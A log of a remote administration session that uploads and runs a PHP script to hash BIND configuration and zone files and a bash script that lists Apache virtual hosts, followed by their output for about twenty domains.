MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:28:25: Establishing a connection
2026-01-03 19:28:35: Establishing a connection
2026-01-03 19:28:35:
PUT: /tmp/pkp315601
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:28:35:
runuser -l bind -s /bin/bash -c '/tmp/pkp315601; rm /tmp/pkp315601'
2026-01-03 19:28:35:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:28:40: Establishing a connection
2026-01-03 19:28:40:
PUT: /tmp/pkp873335
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:28:40:
chmod 755 /tmp/pkp873335; /tmp/pkp873335; rm /tmp/pkp873335
2026-01-03 19:28:40:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
